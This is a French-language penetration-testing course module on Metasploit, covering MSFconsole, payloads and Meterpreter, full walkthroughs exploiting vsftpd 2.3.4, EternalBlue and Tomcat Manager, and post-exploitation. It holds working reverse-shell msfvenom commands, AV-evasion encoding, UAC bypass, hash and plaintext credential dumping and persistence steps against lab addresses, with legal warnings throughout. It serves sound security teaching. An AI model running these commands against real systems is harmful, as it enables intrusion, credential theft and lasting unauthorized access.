Module T4 — Terrain

Metasploit Framework

La plateforme de test d'intrusion la plus utilisee au monde. De la reconnaissance a la post-exploitation, maitrise chaque etape avec Metasploit.

  • Comprendre l'architecture et les composants de Metasploit Framework
  • Maitriser MSFconsole et ses commandes essentielles
  • Connaitre les types de modules : exploits, payloads, auxiliary, post
  • Utiliser Meterpreter et MSFVenom en situation pratique
  • Realiser une exploitation complete de bout en bout
  • Appliquer les techniques de post-exploitation

🚀 T4.1 — Introduction a Metasploit

Metasploit Framework est la plateforme de test d'intrusion open source la plus utilisee au monde. Creee en 2003 par HD Moore en Perl, elle a ete reecrite en Ruby et acquise par Rapid7 en 2009.

Metasploit, c'est la boite a outils du pentester. Imagine un mecanicien : il a une boite avec des cles, des tournevis, des pinces. Chaque outil a un usage precis. Metasploit, c'est pareil : une boite a outils ou chaque module a un role precis — scanner, exploiter, maintenir l'acces. Au lieu de coder chaque attaque from scratch, tu selectionnes le bon outil.

Historique

AnneeEvenement
2003Creation par HD Moore en Perl (v1.0)
2007Reecriture complete en Ruby (v3.0)
2009Acquisition par Rapid7
2011Lancement de Metasploit Pro (commercial)
2024Plus de 2 300 exploits, 1 300 modules auxiliary, 600+ payloads

Architecture de Metasploit

Composants du Framework
Interfaces : MSFconsole, MSFcli, Armitage, MSFweb

Les interfaces utilisateur pour interagir avec le framework. MSFconsole est l'interface principale en ligne de commande, la plus puissante et la plus utilisee.

Modules : Exploits, Auxiliary, Post, Payloads, Encoders, Nops, Evasion

Les composants fonctionnels. Chaque module realise une tache specifique : scanner, exploiter une faille, maintenir l'acces, encoder un payload, etc.

Bibliotheque Base

Fournit les API simplifiees pour interagir avec le framework. C'est la couche qui rend le developpement de modules accessible.

Bibliotheque Core

Le coeur du framework. Gere le systeme de modules, les sessions, le dispatching des evenements et la gestion des data stores.

Bibliotheque Rex (Ruby Extension)

La couche la plus basse. Fournit les sockets, protocoles (HTTP, SMB, SSH), encodage, cryptographie. C'est le moteur reseau du framework.

Editions de Metasploit

EditionPrixUsageFonctionnalites cles
Framework (Open Source) Gratuit Pentesters, chercheurs, etudiants MSFconsole, tous les modules, base de donnees, scripting Ruby
Pro (Commercial) ~$15 000/an Equipes de securite, entreprises Interface web, automatisation, rapports, social engineering, brute force avance
Pre-installe sur Kali Linux
Metasploit Framework est pre-installe sur Kali Linux. Tu peux le lancer directement avec msfconsole. La base de donnees PostgreSQL est deja configuree.

Structure des fichiers

Structure de Metasploit sur Kali Linux
/usr/share/metasploit-framework/
  ├── modules/            # Tous les modules
  │   ├── exploits/       # Modules d'exploitation
  │   ├── auxiliary/      # Modules auxiliaires (scan, fuzz, etc.)
  │   ├── post/           # Modules post-exploitation
  │   ├── payloads/       # Charges utiles
  │   ├── encoders/       # Encodeurs de payloads
  │   ├── nops/           # Generateurs de NOP sleds
  │   └── evasion/        # Modules d'evasion antivirus
  ├── data/               # Donnees (wordlists, templates, etc.)
  ├── tools/              # Outils supplementaires
  ├── plugins/            # Plugins msfconsole
  ├── scripts/            # Scripts Meterpreter & automatisation
  └── lib/                # Bibliotheques Rex, Core, Base

💻 T4.2 — MSFconsole : l'interface principale

MSFconsole est l'interface en ligne de commande principale de Metasploit. C'est l'outil que tu utiliseras 95% du temps. Elle offre auto-completion, historique, et acces a toutes les fonctionnalites du framework.

Lancer MSFconsole

Demarrage de MSFconsole
# Demarrer le service PostgreSQL (necessaire pour la DB)
sudo systemctl start postgresql

# Initialiser la base de donnees (premiere fois uniquement)
sudo msfdb init

# Lancer MSFconsole
msfconsole

# Lancer en mode silencieux (sans banniere ASCII)
msfconsole -q

Commandes essentielles

CommandeDescriptionExemple
helpAffiche l'aide generale ou d'une commandehelp search
searchRecherche des modules par mot-clesearch type:exploit platform:windows smb
useSelectionne un moduleuse exploit/unix/ftp/vsftpd_234_backdoor
infoAffiche les details d'un moduleinfo exploit/windows/smb/ms17_010_eternalblue
show optionsAffiche les options du module selectionneshow options
setDefinit une option pour le module courantset RHOSTS 192.168.1.100
setgDefinit une option globale (persistante)setg RHOSTS 192.168.1.0/24
run / exploitExecute le module selectionnerun ou exploit
backRevient au contexte principalback
sessionsListe les sessions activessessions -l
exitQuitte MSFconsoleexit

Recherche avancee avec search

Filtres de recherche MSFconsole
# Recherche par mot-cle simple
msf6 > search eternalblue

# Recherche par type de module
msf6 > search type:exploit eternalblue

# Recherche par plateforme
msf6 > search platform:windows type:exploit smb

# Recherche par CVE
msf6 > search cve:2017-0144

# Recherche par auteur
msf6 > search author:hdm

# Recherche par date (modules recents)
msf6 > search date:2023 type:exploit

# Recherche combinee
msf6 > search type:exploit platform:linux rank:excellent

Workspace : gestion de projets

Les workspaces permettent de separer les donnees par mission ou par client. Chaque workspace a sa propre base de donnees d'hotes, services et vulnerabilites.

Gestion des workspaces
# Verifier la connexion a la base de donnees
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

# Lister les workspaces
msf6 > workspace
* default

# Creer un nouveau workspace
msf6 > workspace -a pentest_client_A
[*] Added workspace: pentest_client_A
[*] Workspace: pentest_client_A

# Changer de workspace
msf6 > workspace default
[*] Workspace: default

# Supprimer un workspace
msf6 > workspace -d pentest_client_A

Integration base de donnees

L'integration avec PostgreSQL permet de stocker et requeter les resultats de scans automatiquement.

Commandes base de donnees
# Scanner avec Nmap et importer les resultats dans la DB
msf6 > db_nmap -sV -sC -O 192.168.1.0/24

# Lister les hotes decouverts
msf6 > hosts
Hosts
=====
address        mac                name           os_name        purpose
-------        ---                ----           -------        -------
192.168.1.1    AA:BB:CC:DD:EE:FF  gateway       Linux 4.15     server
192.168.1.50   11:22:33:44:55:66  webserver     Linux 5.4      server
192.168.1.100  AA:11:BB:22:CC:33  dc01          Windows 10     client

# Lister les services decouverts
msf6 > services
Services
========
host            port   proto  name       state  info
----            ----   -----  ----       -----  ----
192.168.1.50    21     tcp    ftp        open   vsftpd 2.3.4
192.168.1.50    22     tcp    ssh        open   OpenSSH 7.9
192.168.1.100   445    tcp    smb        open   Windows 10 SMBv3

# Lister les vulnerabilites trouvees
msf6 > vulns

# Filtrer les services par port
msf6 > services -p 445
msf6 > services -S ftp
Astuce pro
Utilise db_nmap au lieu de nmap pour que les resultats soient automatiquement importes dans la base de donnees Metasploit. Tu pourras ensuite les requeter avec hosts, services et vulns.

📦 T4.3 — Les modules Metasploit

Metasploit est organise en 7 types de modules. Chaque type a un role specifique dans le processus de pentest.

TypeRoleNombre (~)Exemple
Exploits Exploitent une vulnerabilite pour executer un payload ~2 300 exploit/windows/smb/ms17_010_eternalblue
Auxiliary Scan, enumeration, fuzzing, DoS (pas de payload) ~1 300 auxiliary/scanner/smb/smb_version
Post Actions post-exploitation (sur une session active) ~400 post/windows/gather/hashdump
Payloads Code execute sur la cible apres exploitation ~600 windows/meterpreter/reverse_tcp
Encoders Transforment le payload pour eviter la detection ~45 x86/shikata_ga_nai
Nops Generent des NOP sleds pour la stabilite des exploits ~10 x86/opty2
Evasion Generent des payloads furtifs pour contourner les AV ~10 evasion/windows/windows_defender_exe

Nomenclature des modules

Chaque module suit une convention de nommage hierarchique :

Convention de nommage
# Format general :
type/plateforme/service_ou_categorie/nom_du_module

# Exemples :
exploit/windows/smb/ms17_010_eternalblue
  └ type   └ OS     └ service └ nom

auxiliary/scanner/portscan/tcp
  └ type    └ categorie └ sous-cat └ nom

post/multi/gather/ssh_creds
  └ type └ OS  └ action └ nom

payload/windows/meterpreter/reverse_tcp
  └ type  └ OS       └ type     └ connexion

Selectionner et configurer un module

Workflow typique avec un module
# 1. Rechercher un module
msf6 > search vsftpd

Matching Modules
================
  #  Name                                  Disclosure Date  Rank       Description
  -  ----                                  ---------------  ----       -----------
  0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor

# 2. Selectionner le module
msf6 > use 0
  (ou)
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 3. Voir les informations du module
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > info

# 4. Voir les options requises
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port (TCP)

# 5. Configurer les options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.50

# 6. Voir les payloads compatibles
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

# 7. Selectionner un payload
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact

# 8. Executer
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Ranking des modules

RankDescriptionFiabilite
ExcellentExploit fiable, ne crash jamais la cible99%+
GreatTres fiable, detection automatique de la cible90%+
GoodFiable dans les cas courants75%+
NormalFonctionnel mais necessite parfois un reglage50%+
AveragePas toujours fiable, conditions specifiques~30%
LowDifficile a exploiter avec succes<30%
ManualNecessite une intervention manuelle significativeVariable
Bonne pratique
Privilegiez les modules de rank excellent ou great. Ils sont plus fiables et moins susceptibles de crasher le service cible, ce qui est crucial en pentest reel.

🎯 T4.4 — Payloads et Meterpreter

Un payload est le code qui s'execute sur la machine cible apres l'exploitation reussie d'une vulnerabilite. C'est ce qui vous donne le controle.

Types de payloads

Singles (autonomes)

Payloads complets et autonomes. Tout le code est dans un seul bloc :

  • Ne necessite pas de communication supplementaire
  • Plus stables (pas de dependance reseau)
  • Taille plus importante
  • Notation : windows/shell_reverse_tcp (un seul slash)

Exemples : cmd/unix/interact, windows/exec, linux/x86/shell_reverse_tcp

Staged (en deux etapes)

Payloads livres en deux parties :

  • Stager : petit code initial qui etablit la connexion
  • Stage : le payload complet telecharge via le stager
  • Taille initiale reduite (passe mieux dans les buffers d'exploit)
  • Notation : windows/meterpreter/reverse_tcp (deux slashs)

Le stager se connecte a l'attaquant, telecharge le stage (ex : Meterpreter), et l'execute en memoire.

Stageless (sans etape)

Payloads complets en un seul envoi, mais avec les fonctionnalites avancees :

  • Combine l'avantage des singles (autonome) et des staged (fonctionnalites)
  • Taille plus importante mais plus stable
  • Notation : windows/meterpreter_reverse_tcp (underscore, pas de slash)
  • Preferable quand la bande passante n'est pas un probleme
Staged vs Stageless : comment les reconnaitre ?
Staged : windows/meterpreter/reverse_tcp (slash entre meterpreter et reverse_tcp)
Stageless : windows/meterpreter_reverse_tcp (underscore entre meterpreter et reverse_tcp)

Meterpreter : le payload avance

Meterpreter (Meta-Interpreter) est le payload le plus puissant de Metasploit. Il s'execute entierement en memoire (pas d'ecriture sur disque) et offre des dizaines de commandes integrees.

CommandeDescription
sysinfoInformations systeme (OS, architecture, hostname)
getuidAffiche l'utilisateur courant
getpidAffiche le PID du processus Meterpreter
psListe tous les processus en cours
migrate <PID>Migre vers un autre processus (stabilite + privileges)
getsystemTente une elevation de privileges vers SYSTEM
hashdumpExtrait les hash NTLM de la base SAM
shellOuvre un shell systeme interactif
upload <src> <dst>Transfere un fichier vers la cible
download <src> <dst>Telecharge un fichier depuis la cible
screenshotCapture l'ecran de la cible
keyscan_startDemarre le keylogger
keyscan_dumpAffiche les frappes enregistrees
portfwdConfigure le port forwarding
routeConfigure le routage pour pivoter
backgroundMet la session en arriere-plan
Session Meterpreter typique
# Apres exploitation reussie, une session Meterpreter s'ouvre
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.100:49852)

meterpreter > sysinfo
Computer        : DC01
OS              : Windows 10 (10.0 Build 19041)
Architecture    : x64
System Language : en_US
Meterpreter     : x64/windows

meterpreter > getuid
Server username: DC01\admin

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
admin:1001:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

MSFVenom : generation de payloads

MSFVenom combine les anciens outils msfpayload et msfencode pour generer des payloads standalone dans differents formats.

Exemples MSFVenom
# Payload Windows reverse shell (executable)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f exe -o shell.exe

# Payload Linux reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f elf -o shell.elf

# Payload PHP pour un web shell
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f raw -o shell.php

# Payload Python
msfvenom -p python/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -f raw -o shell.py

# Payload avec encodage (evasion basique)
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.1.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o encoded_shell.exe

# Lister les formats disponibles
msfvenom --list formats

# Lister les payloads disponibles
msfvenom --list payloads

Payloads courants

PayloadTypeDescription
windows/meterpreter/reverse_tcpStagedMeterpreter Windows, connexion inversee TCP
windows/meterpreter_reverse_tcpStagelessMeterpreter Windows complet, connexion inversee
windows/shell/reverse_tcpStagedShell cmd.exe, connexion inversee
linux/x64/meterpreter/reverse_tcpStagedMeterpreter Linux 64-bit
php/meterpreter/reverse_tcpStagedMeterpreter PHP pour serveurs web
java/meterpreter/reverse_tcpStagedMeterpreter Java multi-plateforme
cmd/unix/reverse_bashSingleReverse shell Bash simple
windows/meterpreter/reverse_httpsStagedMeterpreter via HTTPS (plus furtif)
Handler : l'ecouteur
Pour recevoir une connexion reverse shell, il faut un handler en ecoute. Utilisez exploit/multi/handler avec le meme payload et les memes options (LHOST, LPORT) que ceux utilises pour generer le payload.
Configurer un handler
# Configurer le handler pour recevoir la connexion
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.1.5:4444

⚡ T4.5 — Exploitation en pratique

Avertissement legal et ethique
L'utilisation de Metasploit contre des systemes sans autorisation ecrite explicite est illegale. Toujours operer dans un cadre legal : lab personnel, machines virtuelles, plateformes d'entrainement (HackTheBox, TryHackMe) ou avec un contrat de pentest signe.

Exemple 1 : vsftpd 2.3.4 Backdoor (CVE-2011-2523)

En 2011, une version trojanisee de vsftpd a ete distribuee. Envoyer :) comme partie du username ouvre une backdoor sur le port 6200.

Exploitation vsftpd 2.3.4 — Etape par etape
# ETAPE 1 : Reconnaissance — Scanner la cible
msf6 > db_nmap -sV -p 21 192.168.1.50
[*] Nmap: PORT   STATE SERVICE VERSION
[*] Nmap: 21/tcp open  ftp     vsftpd 2.3.4

# ETAPE 2 : Rechercher l'exploit
msf6 > search vsftpd

Matching Modules
================
  #  Name                                  Rank       Description
  -  ----                                  ----       -----------
  0  exploit/unix/ftp/vsftpd_234_backdoor  excellent  VSFTPD v2.3.4 Backdoor

# ETAPE 3 : Selectionner et configurer
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options:
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port (TCP)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.50
RHOSTS => 192.168.1.50

# ETAPE 4 : Exploiter
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.50:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.50:21 - USER: 331 Please specify the password.
[+] 192.168.1.50:21 - Backdoor service has been spawned
[+] 192.168.1.50:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened

# ETAPE 5 : Interagir avec le shell
id
uid=0(root) gid=0(root)
whoami
root
hostname
metasploitable2

Exemple 2 : EternalBlue MS17-010 (CVE-2017-0144)

EternalBlue est un exploit developpe par la NSA, rendu public par le groupe Shadow Brokers en 2017. Il exploite une faille dans le protocole SMBv1 de Windows pour obtenir une execution de code a distance avec les privileges SYSTEM.

Exploitation EternalBlue — Etape par etape
# ETAPE 1 : Verifier si la cible est vulnerable
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.100
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!
[*] Scanned 1 of 1 hosts (100% complete)

# ETAPE 2 : Selectionner l'exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options:
   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s)
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        The Windows domain
   SMBPass                         no        SMB Password
   SMBUser                         no        SMB Username
   VERIFY_ARCH    true             yes       Verify target arch
   VERIFY_TARGET  true             yes       Verify target vulnerability

# ETAPE 3 : Configurer
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.5

# ETAPE 4 : Exploiter
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] 192.168.1.100:445 - Connecting to target for exploitation.
[+] 192.168.1.100:445 - Connection established for exploitation.
[+] 192.168.1.100:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.100:445 - CORE raw buffer dump (51 bytes)
[+] 192.168.1.100:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.100:445 - Sending stage (200774 bytes) to 192.168.1.100
[+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[+] 192.168.1.100:445 - =-= WIN =-=
[+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.100:49735)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Note importante
EternalBlue a ete utilise dans des attaques devastatrices comme WannaCry et NotPetya en 2017. Des systemes non patches restent encore vulnerables aujourd'hui. C'est un exemple parfait de vulnerabilite N-day.

Exemple 3 : Exploitation d'une application web

Metasploit dispose aussi de modules pour exploiter les applications web : injection de commandes, upload de fichiers, deserialization, etc.

Exploitation web — Apache Tomcat Manager
# ETAPE 1 : Scanner le service web
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.1.50
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

[+] 192.168.1.50:8080 - Login Successful: tomcat:tomcat

# ETAPE 2 : Exploiter via le Manager
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.1.50
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.1.5
msf6 exploit(multi/http/tomcat_mgr_upload) > exploit

[*] Using URL: http://192.168.1.50:8080/manager
[*] Uploading WAR file...
[*] Executing payload...
[*] Meterpreter session 2 opened (192.168.1.5:4444 -> 192.168.1.50:49221)

meterpreter > sysinfo
Computer    : webserver
OS          : Linux 5.4.0 (amd64)
Meterpreter : java/linux
Rappel : cadre legal obligatoire
Ces exemples sont a pratiquer uniquement sur des environnements autorises :
  • Metasploitable 2/3 — VM volontairement vulnerable
  • DVWA — Damn Vulnerable Web Application
  • HackTheBox / TryHackMe — Plateformes d'entrainement legales
  • Votre propre lab — VMs que vous controlez

🕵️ T4.6 — Post-exploitation

La post-exploitation est la phase qui suit l'obtention d'un acces initial. L'objectif est d'etendre le controle, recolter des informations et maintenir l'acces.

Elevation de privileges

Privilege escalation avec Meterpreter
# Verifier les privileges actuels
meterpreter > getuid
Server username: CORP\jdupont

# Tentative automatique d'elevation
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).

# Si getsystem echoue, utiliser un module post-exploitation
meterpreter > background
[*] Backgrounding session 1...

# Suggerer des exploits locaux
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
msf6 post(multi/recon/local_exploit_suggester) > run

[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: target appears vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_075_reflection_juicy: target appears vulnerable.

# Utiliser le bypass UAC
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 exploit(windows/local/bypassuac_eventvwr) > set SESSION 1
msf6 exploit(windows/local/bypassuac_eventvwr) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac_eventvwr) > set LHOST 192.168.1.5
msf6 exploit(windows/local/bypassuac_eventvwr) > exploit

[*] Meterpreter session 2 opened
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Recolte de credentials

Credential harvesting
# Extraire les hash du SAM (necessite SYSTEM)
meterpreter > hashdump
admin:1001:aad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

# Module Mimikatz / Kiwi (extraction de mots de passe en clair)
meterpreter > load kiwi
Loading extension kiwi...
  .#####.   mimikatz 2.2.0
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /*** Benjamin DELPY
 ## \ / ##  Kiwi ext by OJ Reeves
 '## v ##'
  '#####'

meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials

msv credentials
===============
Username    Domain  NTLM                              SHA1
--------    ------  ----                              ----
admin       CORP    e02bc503339d51f71d913c245d35b50b  a4e...
jdupont     CORP    8846f7eaee8fb117ad06bdd830b7586c  b3c...

wdigest credentials
===================
Username    Domain  Password
--------    ------  --------
admin       CORP    P@ssw0rd123!
jdupont     CORP    Welcome2024

# Extraire les tickets Kerberos
meterpreter > kiwi_cmd "sekurlsa::tickets /export"

Pivoting et port forwarding

Le pivoting permet d'utiliser une machine compromise comme relai pour atteindre des reseaux internes non accessibles directement.

Pivoting avec Metasploit
# Voir les interfaces reseau de la cible
meterpreter > ipconfig

Interface  1
============
Name         : Intel Pro/1000
IPv4 Address : 192.168.1.100
IPv4 Netmask : 255.255.255.0

Interface  2
============
Name         : Intel Pro/1000 #2
IPv4 Address : 10.10.10.1
IPv4 Netmask : 255.255.255.0

# Ajouter une route vers le reseau interne via la session
meterpreter > run autoroute -s 10.10.10.0/24
[*] Adding a route to 10.10.10.0/255.255.255.0...
[+] Added route to 10.10.10.0/24 via 192.168.1.100

# Verifier les routes
meterpreter > run autoroute -p
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.10.10.0         255.255.255.0      Session 1

# Port forwarding local
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50
[*] Forward TCP relay created: (local) :8080 -> (remote) 10.10.10.50:80

# Maintenant, acceder a http://127.0.0.1:8080 atteint 10.10.10.50:80

# Scanner le reseau interne via le pivot
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run

Persistance

La persistance permet de maintenir l'acces meme apres un redemarrage de la cible.

Mecanismes de persistance
# Methode 1 : Persistence via service (Windows)
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.5
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/...
[+] Installed as auto-start service

# Methode 2 : Module post-exploitation dedie
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set SESSION 1
msf6 exploit(windows/local/persistence_service) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence_service) > set LHOST 192.168.1.5
msf6 exploit(windows/local/persistence_service) > exploit

# Methode 3 : Persistence via tache planifiee
msf6 > use exploit/windows/local/s4u_persistence
msf6 exploit(windows/local/s4u_persistence) > set SESSION 1
msf6 exploit(windows/local/s4u_persistence) > set TRIGGER DAILY
msf6 exploit(windows/local/s4u_persistence) > exploit

# Methode 4 : Persistence Linux (crontab)
msf6 > use exploit/linux/local/cron_persistence
msf6 exploit(linux/local/cron_persistence) > set SESSION 2
msf6 exploit(linux/local/cron_persistence) > exploit
En pentest reel : documenter et nettoyer
Lors d'un pentest professionnel, il faut toujours documenter chaque mecanisme de persistance installe et nettoyer apres la mission. Laisser des backdoors actives apres un pentest est non seulement non professionnel mais potentiellement illegal.

🔨 T4.7 — Lab : Terminal Metasploit

Exercice 1 : Simule une session MSFconsole

Utilise le terminal ci-dessous pour pratiquer les commandes Metasploit. Tape help pour voir les commandes disponibles.

MSFconsole Lab — Metasploit Framework
# Bienvenue dans le lab MSFconsole !
# Objectif : exploiter vsftpd 2.3.4 sur 192.168.1.50
# Tape 'help' pour voir les commandes disponibles
msf6 >

Exercice 2 : Associe chaque type de module a son role

Glisse chaque module dans la zone correspondant a sa fonction.

ms17_010_eternalblue
scanner/smb/smb_version
windows/gather/hashdump
windows/meterpreter/reverse_tcp
x86/shikata_ga_nai
scanner/portscan/tcp
multi/recon/local_exploit_suggester
unix/ftp/vsftpd_234_backdoor
💣 Exploit
🔍 Auxiliary
📦 Post
🎯 Payload
🔐 Encoder

✅ T4.8 — Quiz Metasploit

Teste tes connaissances sur Metasploit Framework. 15 questions pour valider ta maitrise du module.

Points cles du Module T4

  • Metasploit Framework est la plateforme de pentest open source la plus utilisee, creee en 2003 par HD Moore
  • L'architecture repose sur 3 bibliotheques : Rex (reseau), Core (moteur) et Base (API)
  • MSFconsole est l'interface principale — maitriser search, use, set, exploit
  • Les workspaces et l'integration PostgreSQL permettent de gerer les donnees par mission
  • 7 types de modules : exploits, auxiliary, post, payloads, encoders, nops, evasion
  • Payloads staged (meterpreter/reverse_tcp) vs stageless (meterpreter_reverse_tcp)
  • Meterpreter s'execute en memoire et offre des commandes avancees : getsystem, hashdump, migrate
  • MSFVenom genere des payloads standalone dans tous les formats (exe, elf, php, py...)
  • La post-exploitation comprend l'elevation de privileges, le credential harvesting, le pivoting et la persistance
  • Toujours operer dans un cadre legal : autorisation ecrite, lab personnel ou plateformes d'entrainement